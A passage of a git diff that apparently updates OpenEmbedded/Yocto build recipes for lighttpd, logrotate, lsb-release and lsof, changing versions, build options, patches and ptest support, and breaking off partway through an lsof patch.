299# trigger-before-download.deny-url = "http://127.0.0.1/index.html"
300# trigger-before-download.trigger-timeout = 10
301
302## for mod_cml
303## don't forget to add index.cml to server.indexfiles
304# cml.extension = ".cml"
305# cml.memcache-hosts = ( "127.0.0.1:11211" )
306
307#### variable usage: 285#### variable usage:
308## variable name without "." is auto prefixed by "var." and becomes "var.bar" 286## variable name without "." is auto prefixed by "var." and becomes "var.bar"
309#bar = 1 287#bar = 1
@@ -328,4 +306,4 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
328#var.a=1 306#var.a=1
329 307
330# include other config file fragments from lighttpd.d subdir 308# include other config file fragments from lighttpd.d subdir
331include_shell "find /etc/lighttpd.d -maxdepth 1 -name '*.conf' -exec cat {} \;" 309include "/etc/lighttpd.d/*.conf"
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.59.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.59.bb
deleted file mode 100644
index 705ece8e19..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.59.bb
+++ /dev/null
@@ -1,82 +0,0 @@
1SUMMARY = "Lightweight high-performance web server"
2HOMEPAGE = "http://www.lighttpd.net/"
3BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
4
5LICENSE = "BSD-3-Clause"
6LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
7
8SECTION = "net"
9RDEPENDS_${PN} = "lighttpd-module-dirlisting \
10 lighttpd-module-indexfile \
11 lighttpd-module-staticfile"
12RRECOMMENDS_${PN} = "lighttpd-module-access \
13 lighttpd-module-accesslog"
14
15SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
16 file://index.html.lighttpd \
17 file://lighttpd.conf \
18 file://lighttpd \
19 file://0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch \
20 "
21
22SRC_URI[sha256sum] = "fb953db273daef08edb6e202556cae8a3d07eed6081c96bd9903db957d1084d5"
23
24PACKAGECONFIG ??= "openssl pcre zlib \
25 ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
26 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
27"
28
29PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
30PACKAGECONFIG[mmap] = "--enable-mmap,--disable-mmap"
31PACKAGECONFIG[libev] = "--with-libev,--without-libev,libev"
32PACKAGECONFIG[mysql] = "--with-mysql,--without-mysql,mariadb"
33PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
34PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
35PACKAGECONFIG[valgrind] = "--with-valgrind,--without-valgrind,valgrind"
36PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
37PACKAGECONFIG[krb5] = "--with-krb5,--without-krb5,krb5"
38PACKAGECONFIG[pcre] = "--with-pcre,--without-pcre,libpcre"
39PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
40PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
41PACKAGECONFIG[webdav-props] = "--with-webdav-props,--without-webdav-props,libxml2 sqlite3"
42PACKAGECONFIG[webdav-locks] = "--with-webdav-locks,--without-webdav-locks,util-linux"
43PACKAGECONFIG[gdbm] = "--with-gdbm,--without-gdbm,gdbm"
44PACKAGECONFIG[memcache] = "--with-memcached,--without-memcached,libmemcached"
45PACKAGECONFIG[lua] = "--with-lua,--without-lua,lua"
46
47EXTRA_OECONF += "--enable-lfs --without-fam"
48
49inherit autotools pkgconfig update-rc.d gettext systemd
50
51INITSCRIPT_NAME = "lighttpd"
52INITSCRIPT_PARAMS = "defaults 70"
53
54SYSTEMD_SERVICE_${PN} = "lighttpd.service"
55
56do_install_append() {
57 install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
58 install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
59 install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
60 install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
61
62 install -d ${D}${systemd_unitdir}/system
63 install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_unitdir}/system
64 sed -i -e 's,@SBINDIR@,${sbindir},g' \
65 -e 's,@SYSCONFDIR@,${sysconfdir},g' \
66 -e 's,@BASE_BINDIR@,${base_bindir},g' \
67 ${D}${systemd_unitdir}/system/lighttpd.service
68 #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
69 ln -sf ${localstatedir}/log ${D}/www/logs
70 ln -sf ${localstatedir}/tmp ${D}/www/var
71}
72
73FILES_${PN} += "${sysconfdir} /www"
74
75CONFFILES_${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
76
77PACKAGES_DYNAMIC += "^lighttpd-module-.*"
78
79python populate_packages_prepend () {
80 lighttpd_libdir = d.expand('${libdir}')
81 do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
82}
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb
new file mode 100644
index 0000000000..f0fdda4190
--- /dev/null
+++ b/meta/recipes-extended/lighttpd/lighttpd_1.4.76.bb
@@ -0,0 +1,76 @@
1SUMMARY = "Lightweight high-performance web server"
2HOMEPAGE = "http://www.lighttpd.net/"
3DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
4BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
5
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
8
9SECTION = "net"
10RDEPENDS:${PN} = "lighttpd-module-dirlisting"
11RRECOMMENDS:${PN} = "lighttpd-module-accesslog"
12
13SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
14 file://index.html.lighttpd \
15 file://lighttpd.conf \
16 file://lighttpd \
17 "
18
19SRC_URI[sha256sum] = "8cbf4296e373cfd0cedfe9d978760b5b05c58fdc4048b4e2bcaf0a61ac8f5011"
20
21DEPENDS = "virtual/crypt"
22
23PACKAGECONFIG ??= "openssl pcre zlib \
24 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
25"
26
27PACKAGECONFIG[libev] = "-Dwith_libev=enabled,-Dwith_libev=disabled,libev"
28PACKAGECONFIG[mysql] = "-Dwith_mysql=enabled,-Dwith_mysql=disabled,mariadb"
29PACKAGECONFIG[ldap] = "-Dwith_ldap=enabled,-Dwith_ldap=disabled,openldap"
30PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
31PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
32PACKAGECONFIG[krb5] = "-Dwith_krb5=enabled,-Dwith_krb5=disabled,krb5"
33PACKAGECONFIG[pcre] = "-Dwith_pcre=pcre2,-Dwith_pcre=disabled,libpcre2"
34PACKAGECONFIG[zlib] = "-Dwith_zlib=enabled,-Dwith_zlib=disabled,zlib"
35PACKAGECONFIG[bzip2] = "-Dwith_bzip=enabled,-Dwith_bzip=disabled,bzip2"
36PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=enabled,-Dwith_webdav_props=disabled,libxml2 sqlite3"
37PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=enabled,-Dwith_webdav_locks=disabled,util-linux"
38PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
39PACKAGECONFIG[zstd] = "-Dwith_zstd=enabled,-Dwith_zstd=disabled,zstd"
40
41inherit meson pkgconfig update-rc.d gettext systemd
42
43INITSCRIPT_NAME = "lighttpd"
44INITSCRIPT_PARAMS = "defaults 70"
45
46SYSTEMD_SERVICE:${PN} = "lighttpd.service"
47
48do_install:append() {
49 install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
50 install -m 0755 ${WORKDIR}/lighttpd ${D}${sysconfdir}/init.d
51 install -m 0644 ${WORKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
52 install -m 0644 ${WORKDIR}/index.html.lighttpd ${D}/www/pages/index.html
53
54 install -d ${D}${systemd_system_unitdir}
55 install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
56 sed -i -e 's,@SBINDIR@,${sbindir},g' \
57 -e 's,@SYSCONFDIR@,${sysconfdir},g' \
58 -e 's,@BASE_BINDIR@,${base_bindir},g' \
59 ${D}${systemd_system_unitdir}/lighttpd.service
60 #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
61 ln -sf ${localstatedir}/log ${D}/www/logs
62 ln -sf ${localstatedir}/tmp ${D}/www/var
63}
64
65# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
66# So we re-do the variable.
67FILES:${PN} = "${sysconfdir} /www ${sbindir}"
68
69CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
70
71PACKAGES_DYNAMIC += "^lighttpd-module-.*"
72
73python populate_packages:prepend () {
74 lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
75 do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
76}
diff --git a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
deleted file mode 100644
index 50a3852078..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch
+++ /dev/null
@@ -1,39 +0,0 @@
1From 3e2cfa88b6538bb0fee3d9a6e99622055d05ac4a Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Tue, 17 Feb 2015 21:14:37 -0800
4Subject: [PATCH] Update the manual
5
6Update the manual for rotating on different filesystems.
7
8Upstream-Status: Pending
9
10Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
11
12---
13 logrotate.8.in | 10 ++++------
14 1 file changed, 4 insertions(+), 6 deletions(-)
15
16diff --git a/logrotate.8.in b/logrotate.8.in
17index 98fea91..70b4c44 100644
18--- a/logrotate.8.in
19+++ b/logrotate.8.in
20@@ -202,12 +202,10 @@ at all (use with caution, may waste performance and disk space). Default is 0.
21
22 .TP
23 \fBolddir \fIdirectory\fR
24-Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be
25-on the same physical device as the log file being rotated, unless \fBcopy\fR,
26-\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR
27-is assumed to be relative to the directory holding the log file
28-unless an absolute path name is specified. When this option is used all
29-old versions of the log end up in \fIdirectory\fR. This option may be
30+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR
31+is assumed to be relative to the directory holding the log file unless
32+an absolute path name is specified. When this option is used all old
33+versions of the log end up in \fIdirectory\fR. This option may be
34 overridden by the \fBnoolddir\fR option.
35
36 .TP
37--
382.24.0
39
diff --git a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch b/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
deleted file mode 100644
index 671fce4ac8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch
+++ /dev/null
@@ -1,149 +0,0 @@
1From 17d57a2a923a4af53c8910a9999aebeab3f5d83a Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Tue, 17 Feb 2015 21:08:07 -0800
4Subject: [PATCH] Act as the "mv" command when rotate log
5
6Act as the "mv" command when rotate log, first rename, if failed, then
7read and write.
8
9Upstream-Status: Pending
10
11Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
12
13---
14 logrotate.c | 71 ++++++++++++++++++++++++++++++++++++++++++++---------
15 1 file changed, 59 insertions(+), 12 deletions(-)
16
17diff --git a/logrotate.c b/logrotate.c
18index 45b3eb6..231371a 100644
19--- a/logrotate.c
20+++ b/logrotate.c
21@@ -1463,6 +1463,53 @@ static int findNeedRotating(const struct logInfo *log, unsigned logNum, int forc
22 return 0;
23 }
24
25+/* Act as the "mv" command, if rename failed, then read the old file and
26+ * write to new file. The function which invokes the mvFile will use
27+ * the strerror(errorno) to handle the error message, so we don't have
28+ * to print the error message here */
29+
30+int mvFile (char *oldName, char *newName, struct logInfo *log, acl_type acl)
31+{
32+ struct stat sbprev;
33+ int fd_old, fd_new, n;
34+ char buf[BUFSIZ];
35+
36+ /* Do the rename first */
37+ if (!rename(oldName, newName))
38+ return 0;
39+
40+ /* If the errno is EXDEV, then read old file, write newfile and
41+ * remove the oldfile */
42+ if (errno == EXDEV) {
43+ /* Open the old file to read */
44+ if ((fd_old = open(oldName, O_RDONLY)) < 0)
45+ return 1;
46+
47+ /* Create the file to write, keep the same attribute as the old file */
48+ if (stat(oldName, &sbprev))
49+ return 1;
50+ else {
51+ if ((fd_new = createOutputFile(newName,
52+ O_WRONLY | O_CREAT | O_TRUNC, &sbprev, acl, 0)) < 0 )
53+ return 1;
54+ }
55+
56+ /* Read and write */
57+ while ((n = read(fd_old, buf, BUFSIZ)) > 0)
58+ if (write(fd_new, buf, n) != n)
59+ return 1;
60+
61+ if ((close(fd_old) < 0) ||
62+ removeLogFile(oldName, log) ||
63+ (close(fd_new) < 0))
64+ return 1;
65+
66+ return 0;
67+ }
68+
69+ return 1;
70+}
71+
72 /* find the rotated file with the highest index */
73 static int findLastRotated(const struct logNames *rotNames,
74 const char *fileext, const char *compext)
75@@ -1958,15 +2005,15 @@ static int prerotateSingleLog(const struct logInfo *log, unsigned logNum,
76 }
77
78 message(MESS_DEBUG,
79- "renaming %s to %s (rotatecount %d, logstart %d, i %d), \n",
80+ "moving %s to %s (rotatecount %d, logstart %d, i %d), \n",
81 oldName, newName, rotateCount, logStart, i);
82
83- if (!debug && rename(oldName, newName)) {
84+ if (!debug && mvFile(oldName, newName, log, prev_acl)) {
85 if (errno == ENOENT) {
86 message(MESS_DEBUG, "old log %s does not exist\n",
87 oldName);
88 } else {
89- message(MESS_ERROR, "error renaming %s to %s: %s\n",
90+ message(MESS_ERROR, "error moving %s to %s: %s\n",
91 oldName, newName, strerror(errno));
92 hasErrors = 1;
93 }
94@@ -2051,10 +2098,10 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
95 return 1;
96 }
97
98- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
99+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
100 tmpFilename);
101- if (!debug && !hasErrors && rename(log->files[logNum], tmpFilename)) {
102- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
103+ if (!debug && !hasErrors && mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
104+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
105 log->files[logNum], tmpFilename,
106 strerror(errno));
107 hasErrors = 1;
108@@ -2063,11 +2110,11 @@ static int rotateSingleLog(const struct logInfo *log, unsigned logNum,
109 free(tmpFilename);
110 }
111 else {
112- message(MESS_DEBUG, "renaming %s to %s\n", log->files[logNum],
113+ message(MESS_DEBUG, "moving %s to %s\n", log->files[logNum],
114 rotNames->finalName);
115 if (!debug && !hasErrors &&
116- rename(log->files[logNum], rotNames->finalName)) {
117- message(MESS_ERROR, "failed to rename %s to %s: %s\n",
118+ mvFile(log->files[logNum], rotNames->finalName, log, prev_acl)) {
119+ message(MESS_ERROR, "failed to move %s to %s: %s\n",
120 log->files[logNum], rotNames->finalName,
121 strerror(errno));
122 hasErrors = 1;
123@@ -2480,7 +2527,7 @@ static int rotateLogSet(const struct logInfo *log, int force)
124 return hasErrors;
125 }
126
127-static int writeState(const char *stateFilename)
128+static int writeState(struct logInfo *log, char *stateFilename)
129 {
130 struct logState *p;
131 FILE *f;
132@@ -2659,7 +2706,7 @@ static int writeState(const char *stateFilename)
133 fclose(f);
134
135 if (error == 0) {
136- if (rename(tmpFilename, stateFilename)) {
137+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) {
138 message(MESS_ERROR, "error renaming temp state file %s to %s: %s\n",
139 tmpFilename, stateFilename, strerror(errno));
140 unlink(tmpFilename);
141@@ -3073,7 +3120,7 @@ int main(int argc, const char **argv)
142 rc |= rotateLogSet(log, force);
143
144 if (!debug)
145- rc |= writeState(stateFile);
146+ rc |= writeState(log, stateFile);
147
148 return (rc != 0);
149 }
diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
deleted file mode 100644
index d7f9a02cc8..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
+++ /dev/null
@@ -1,36 +0,0 @@
1From 16c1833ade4c036b30b8761d2c4a5bd85cc65c44 Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Tue, 8 Jan 2019 06:27:06 +0000
4Subject: [PATCH] Disable the check for different filesystems
5
6The logrotate supports rotate log across different filesystems now, so
7disable the check for different filesystems.
8
9Upstream-Status: Pending
10
11Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
12
13---
14 config.c | 9 ---------
15 1 file changed, 9 deletions(-)
16
17diff --git a/config.c b/config.c
18index d2488f1..1de3745 100644
19--- a/config.c
20+++ b/config.c
21@@ -1902,15 +1902,6 @@ duperror:
22 }
23
24 free(ld);
25-
26- if (sb.st_dev != sb2.st_dev
27- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) {
28- message(MESS_ERROR,
29- "%s:%d olddir %s and log file %s "
30- "are on different devices\n", configFile,
31- lineNum, newlog->oldDir, newlog->files[j]);
32- goto error;
33- }
34 }
35 }
36
diff --git a/meta/recipes-extended/logrotate/logrotate/run-ptest b/meta/recipes-extended/logrotate/logrotate/run-ptest
new file mode 100755
index 0000000000..b272def65f
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate/run-ptest
@@ -0,0 +1,5 @@
1#!/bin/sh
2
3set -u
4
5make -k check
diff --git a/meta/recipes-extended/logrotate/logrotate_3.18.0.bb b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
index 270052f46f..10a6149abc 100644
--- a/meta/recipes-extended/logrotate/logrotate_3.18.0.bb
+++ b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
@@ -1,7 +1,8 @@
1SUMMARY = "Rotates, compresses, removes and mails system log files" 1SUMMARY = "Rotates, compresses, removes and mails system log files"
2SECTION = "console/utils" 2SECTION = "console/utils"
3HOMEPAGE = "https://github.com/logrotate/logrotate/issues" 3HOMEPAGE = "https://github.com/logrotate/logrotate/"
4LICENSE = "GPLv2" 4DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
5LICENSE = "GPL-2.0-only"
5 6
6# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox? 7# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
7 8
@@ -9,23 +10,22 @@ DEPENDS="coreutils popt"
9 10
10LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263" 11LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
11 12
12UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases" 13SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.xz \
13UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar" 14 file://run-ptest \
15 "
14 16
15SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \ 17SRC_URI[sha256sum] = "8fa12015e3b8415c121fc9c0ca53aa872f7b0702f543afda7e32b6c4900f6516"
16 file://act-as-mv-when-rotate.patch \
17 file://0001-Update-the-manual.patch \
18 file://disable-check-different-filesystems.patch \
19 "
20 18
21SRC_URI[sha256sum] = "841f81bf09d0014e4a2e11af166bb33fcd8429cc0c2d4a7d3d9ceb3858cfccc5" 19CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
20CVE_STATUS_RECIPE = "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
21CVE_STATUS_RECIPE[status] = "not-applicable-platform: CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
22 22
23PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}" 23PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
24 24
25PACKAGECONFIG[acl] = ",,acl" 25PACKAGECONFIG[acl] = ",,acl"
26PACKAGECONFIG[selinux] = ",,libselinux" 26PACKAGECONFIG[selinux] = ",,libselinux"
27 27
28CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \ 28CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
29 ${sysconfdir}/logrotate.conf \ 29 ${sysconfdir}/logrotate.conf \
30 ${sysconfdir}/logrotate.d/btmp \ 30 ${sysconfdir}/logrotate.d/btmp \
31 ${sysconfdir}/logrotate.d/wtmp" 31 ${sysconfdir}/logrotate.d/wtmp"
@@ -47,9 +47,9 @@ EXTRA_OEMAKE = "\
47# INSTALL=install and BASEDIR=/usr. 47# INSTALL=install and BASEDIR=/usr.
48OS_NAME = "Linux" 48OS_NAME = "Linux"
49 49
50inherit autotools systemd 50inherit autotools systemd github-releases ptest
51 51
52SYSTEMD_SERVICE_${PN} = "\ 52SYSTEMD_SERVICE:${PN} = "\
53 ${BPN}.service \ 53 ${BPN}.service \
54 ${BPN}.timer \ 54 ${BPN}.timer \
55" 55"
@@ -67,7 +67,6 @@ do_install(){
67 install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf 67 install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
68 install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp 68 install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
69 install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp 69 install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
70 touch ${D}${localstatedir}/lib/logrotate.status
71 70
72 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then 71 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
73 install -d ${D}${systemd_system_unitdir} 72 install -d ${D}${systemd_system_unitdir}
@@ -89,3 +88,27 @@ do_install(){
89 install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate 88 install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
90 fi 89 fi
91} 90}
91
92do_install_ptest() {
93 cp -r ${S}/test/* ${D}${PTEST_PATH}
94 cp ${S}/test-driver ${D}${PTEST_PATH}
95 cp ${B}/test/Makefile ${D}${PTEST_PATH}
96
97 # Do not rebuild Makefile
98 sed -i 's/^Makefile:/_Makefile:/' ${D}${PTEST_PATH}/Makefile
99
100 # Fix top_builddir and top_srcdir
101 sed -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
102 -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
103 -i ${D}${PTEST_PATH}/Makefile
104
105 # Replace bash with sh
106 sed -i 's,/bin/bash,/bin/sh,' ${D}${PTEST_PATH}/Makefile
107
108 # Replace gawk with awk
109 sed -i 's/gawk/awk/' ${D}${PTEST_PATH}/Makefile
110 ln -s ${sbindir}/logrotate ${D}${PTEST_PATH}
111}
112
113# coreutils is needed to have "readlink"
114RDEPENDS:${PN}-ptest += "make coreutils"
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
1lsb-release maintains it's own copy of help2man. Include the support
2for specifying SOURCE_DATE_EPOCH from upstream.
3
4Upstream-Status: Pending
5
6Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
7
8diff --git a/help2man b/help2man
9index 13015c2..63439db 100755
10--- a/help2man
11+++ b/help2man
12@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
13 or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
14 } qw(help), $opt_version_key;
15
16-my $date = strftime "%B %Y", localtime;
17+my $epoch_secs = time;
18+if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
19+{
20+ $epoch_secs = $1;
21+ $ENV{TZ} = 'UTC0';
22+}
23+
24+my $date = strftime "%B %Y", localtime $epoch_secs;
25 (my $program = $ARGV[0]) =~ s!.*/!!;
26 my $package = $program;
27 my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
index 3e8f7a13ec..00d8183a4f 100644
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -1,22 +1,22 @@
1SUMMARY = "lsb_release support for OpenEmbedded" 1SUMMARY = "lsb_release support for OpenEmbedded"
2SECTION = "console/utils" 2SECTION = "console/utils"
3HOMEPAGE = "https://sourceforge.net/projects/lsb/files" 3HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
4LICENSE = "GPLv2+" 4LICENSE = "GPL-2.0-or-later"
5 5
6# lsb_release needs getopt 6# lsb_release needs getopt
7RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}" 7RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
8 8
9LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf" 9LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
10 10
11SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \ 11SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
12 file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \ 12 file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
13 file://0001-Remove-timestamp-from-manpage.patch \ 13 file://0001-Remove-timestamp-from-manpage.patch \
14 file://help2man-reproducibility.patch \
14 " 15 "
15 16
16SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
17SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172" 17SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
18 18
19UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lsb/files/lsb_release/" 19UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
20UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/" 20UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
21 21
22CLEANBROKEN = "1" 22CLEANBROKEN = "1"
@@ -34,4 +34,4 @@ do_install() {
34 echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release 34 echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
35} 35}
36 36
37FILES_${PN} += "${base_libdir}" 37FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
deleted file mode 100644
index b7d2323dc9..0000000000
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ /dev/null
@@ -1,76 +0,0 @@
1Remove host information from version.h
2
3make lsof not include host information
4
5Upstream-Status: Inappropriate [embedded specific]
6
7Signed-off-by: Li Wang <li.wang@windriver.com>
8---
9 dialects/linux/Makefile | 50 +++++++++--------------------------------------
10 1 file changed, 9 insertions(+), 41 deletions(-)
11
12diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
13index 2bea108..792142b 100644
14--- a/dialects/linux/Makefile
15+++ b/dialects/linux/Makefile
16@@ -76,48 +76,16 @@ version.h: FRC
17 @echo Constructing version.h
18 @rm -f version.h
19 @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
20- @echo '#define LSOF_CC "${CC}"' >> version.h
21- @echo '#define LSOF_CCV "${CCV}"' >> version.h
22- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
23- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
24+ @echo '#define LSOF_CC ""' >> version.h
